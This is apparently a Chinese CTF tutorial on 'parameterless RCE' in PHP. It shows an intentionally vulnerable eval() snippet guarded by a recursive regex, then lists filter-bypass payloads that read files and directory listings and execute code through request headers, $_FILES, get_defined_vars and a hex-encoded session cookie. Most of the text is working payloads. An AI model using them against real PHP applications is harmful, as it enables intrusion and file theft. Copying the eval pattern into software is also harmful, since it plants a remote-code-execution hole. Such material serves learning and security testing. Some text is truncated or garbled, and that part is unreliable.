<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
代码中:
highlight_file(__FILE__):输出当前文件源码,方便分析。
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']):匹配并替换掉无参数的函数调用,确保 $_GET['code'] 仅剩 keval($_GET['code']):执行传入的 code 参数。
正则表达式解析:
[^\W]+:匹配字母、数字和下划线,即PHP函数名。
\((?R)?\):匹配函数括号内容,允许递归嵌套。
preg_replace():删除匹配到的函数调用,最终仅剩 ; 时才允许 eval() 执行。
无参数文件读取
1. 获取当前目录下的文件
方法一:使用 localeconv()
current(localeconv());
localeconv() 返回本地货币格式,其中 decimal_point 位置通常是 "."。
current() 获取数组的第一个元素,即 "."。

方法二:使用 chr(46)
chr(46) 直接返回 '.':
print_r(scandir(chr(46)));
但 chr(46) 依然需要 46 这个数字,我们可以绕过:
chr(time() % 256); // 只要 time() % 256 在46时,就可以返回 "."
方法三:使用 PHP 版本计算
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
该方法基于PHP版本(例如 5.5.9):
floor(phpversion()) → 5
sqrt(5) → 2.236
tan(2.236) → -2.185
cosh(-2.185) → 4.501
sinh(4.501) → 45.081
ceil(45.081) → 46
chr(46) → "."

方法四:使用 crypt() 生成 .
crypt() 可以生成带 . 的哈希:
可以得到


2. 读取当前目录文件
获得目录列表后,我们可以读取文件。假设目标文件是 flag.php,我们需要遍历目录列表并读取它。
方法一:读取最后一个文件
highlight_file(end(scandir(getcwd())));
show_source(end(scandir(getcwd())));
方法二:逆序数组读取
show_source(current(array_reverse(scandir(getcwd()))));
方法三:随机获取文件
show_source(array_rand(array_flip(scandir(getcwd()))));
3. 读取上一级目录文件
方法一:使用 dirname()
print_r(scandir(dirname(getcwd())));
方法二:利用 ".."
next(scandir(getcwd())) 获取 ..。
scandir(..) 列出上级目录。
无参数RCE(远程命令执行)
1. 利用 getallheaders()
eval(pos(getallheaders()));
2. 利用 get_defined_vars()
get_defined_vars() 返回所有PHP变量,包括 $_GET、$_POST 等:
3. 利用 $_FILES
上传任意文件:因为 $_FILES 在 get_defined_vars() 结果的最后一项,我们用 end() 取出,再 pos(pos()) 获取文件名,最终执行代码。
4. 利用 session_id()
eval(hex2bin(session_id(session_start())));
我们可以通过 Cookie 传入 session_id:
Cookie: PHPSESSID=706870696e666f28293b
hex2bin() 解码成:
phpinfo();
最终 eval() 执行 phpinfo()。
4172

被折叠的 条评论
为什么被折叠?



